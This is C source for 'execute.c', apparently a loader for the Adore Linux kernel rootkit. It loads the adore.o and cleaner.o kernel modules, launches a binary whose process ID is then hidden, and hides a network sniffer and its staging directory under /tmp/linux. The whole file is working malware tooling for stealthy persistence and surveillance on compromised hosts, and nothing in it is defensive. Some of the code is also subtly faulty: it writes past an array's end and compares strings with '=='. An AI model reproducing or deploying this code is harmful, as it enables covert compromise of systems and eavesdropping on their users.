/* 
	(c)1999-2003 Shellcode Research.
    http://www.shellcode.com.ar/

	execute.c (noversion) 
	by Matias sedalo <s0t4ipv6@shellcode.com.ar>

	The initialization program for load of Adore
	execute.c is dedicated to the memory of RAMSES
*/

#include <fcntl.h>
#include <unistd.h>

/* PATH donde tenemos nuestros archivos */
#define PATH	"/tmp/linux"
/* Instancias a ejecutar para la preparacion */
#define START	0
#define PRE		3
#define PIPE    "/tmp/tubo"

struct entry { 
	char *name; 
	char *arg1; 
	char *type; 
} list[] = {
 /* Instancias para preparar los modulos */
 "/sbin/insmod", PATH "/adore.o", NULL ,
 "/sbin/insmod", PATH "/cleaner.o", NULL ,
 "/sbin/rmmod", "cleaner", NULL ,
 /* hasta aqui la ejecucion normal */
 /* if (type = p) then [ exec list[].name & hide pid ]
	if (type = h) then [ hide file list[].name ] */
 PATH "/mred", NULL, "i" /* i = hide process id */,
 PATH "/sniffer", NULL, "h" /* h = hide file or dir */,
 PATH , NULL, "h",
 NULL 
};

void dupexec(struct entry ex[], int xx, int dup)
{
 char *rerun[4]= { ex[xx].name, ex[xx].arg1, ex[xx].type, NULL };
 dup2(dup, 1);
 if ( fork() == 0 ) {  
	execve(rerun[0], rerun, NULL);
	exit(0);
 }
}

int main () 
{
 int	ffd[2];
 int	x;
 char	cadena[10];

 /* redireccion de stdout y stderr */
 unlink(PIPE);
 mkfifo(PIPE, 0);
 chmod(PIPE, 0640);
 ffd[1]=open("/dev/null", O_WRONLY);
 ffd[2]=open(PIPE, O_RDWR);

 for (x=START; x < PRE; x++)
 {
	sleep(1);
 	dupexec(list, x, ffd[1]);
 }

 do 
 {
	if (list[x].type == "i")
	{
		struct entry ax[]={ PATH "/ava", "i", cadena };
		list[x].type=0x0;
		dupexec(list, x, ffd[2]);
		read(ffd[2], cadena, 8);
		dupexec(ax, 0, ffd[1]);
	} 
	else if (list[x].type == "h")
	{
		struct entry ax[]={ PATH "/ava", "h", list[x].name };
		dupexec(ax, 0, ffd[1]);
	}
 	x++;
 } while (list[x].name != NULL);

 unlink(PIPE);
 close(ffd[1]);
 close(ffd[2]);
 exit(0);

} // EOF
